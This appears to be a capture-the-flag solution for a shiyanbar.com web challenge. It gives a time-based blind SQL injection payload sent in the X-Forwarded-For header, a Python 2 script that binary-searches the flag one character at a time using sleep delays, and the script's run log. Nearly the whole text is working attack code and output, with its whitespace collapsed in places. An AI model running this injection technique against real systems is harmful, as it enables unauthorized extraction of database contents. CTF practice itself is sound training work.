x-forwarded-for: 127.0.0.1' and (select case when (ascii(substr((select schema_name from information_schema.schemata limit 1 offset 0) from 1 for 1)))>1 then sleep(5) else 1 end) and '1'='1
ctf_url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php' flag = ""
defTestRange(i,rangeToTest): m = len(rangeToTest)/2 checkRes = CheckAsc(i,rangeToTest[m]) return checkRes
defCheckAsc(myPosition,theAscii): checkRes = 0#1: bigger; -1: smaller headers = {"x-forwarded-for":"127.0.0.1' "+"and (select case when (ascii(substr((select flag from flag) from %d for 1)))>%d then sleep(10) else 1 end) and '1'='1" %(myPosition,theAscii)} try: print"[?]: Bigger than %d...." % theAscii response = requests.get(ctf_url,headers=headers,timeout=8) checkRes = -1 print"[-]: NO" except requests.exceptions.ReadTimeout,e: checkRes = 1 print"[+]: YES" return checkRes defSetRange(condition, r): m = len(r)/2 if condition == 1: toTest = r[m:] elif condition == -1: toTest = r[:m+1] print"[i]: Adjusting the range to [%d-%d]" % (toTest[0],toTest[-1]) return toTest
defCheckEqual(myPosition, theAscii): isEqual = '' headers = {"x-forwarded-for":"127.0.0.1' "+"and (select case when (ascii(substr((select flag from flag) from %d for 1)))=%d then sleep(6) else 1 end) and '1'='1" %(myPosition,theAscii)} try: response = requests.get(ctf_url,headers=headers,timeout=4) isEqual = 0 except requests.exceptions.ReadTimeout,e: isEqual = 1 return isEqual
if __name__=='__main__': x = 1 for x inrange(1,33): test = [i for i inrange(32,127)] print"[i]: Current Position %d" % x f = 0 while(f == 0): biggersmaller = TestRange(x,test) test = SetRange(biggersmaller,test) f = CheckEqual(x,test[len(test)/2]) if f ==1: print"[*] Found ASCII: %d" % test[len(test)/2] flag += chr(test[len(test)/2]) print flag break
[i]: Current Position 8 [?]: Bigger than 79.... [-]: NO [i]: Adjusting the range to [32-79] [?]: Bigger than 56.... [+]: YES [i]: Adjusting the range to [56-79] [?]: Bigger than 68.... [-]: NO [i]: Adjusting the range to [56-68] [?]: Bigger than 62.... [-]: NO [i]: Adjusting the range to [56-62] [?]: Bigger than 59.... [-]: NO [i]: Adjusting the range to [56-59] [?]: Bigger than 58.... [-]: NO [i]: Adjusting the range to [56-58] [*] Found ASCII: 57 cdbf14c9 ctf:cdbf14c9 [i]: Current Position 9 [?]: Bigger than 79.... [-]: NO [i]: Adjusting the range to [32-79] [?]: Bigger than 56.... [-]: NO [i]: Adjusting the range to [32-56] [?]: Bigger than 44.... [+]: YES [i]: Adjusting the range to [44-56] [?]: Bigger than 50.... [+]: YES [i]: Adjusting the range to [50-56] [*] Found ASCII: 53 cdbf14c95 ctf:cdbf14c95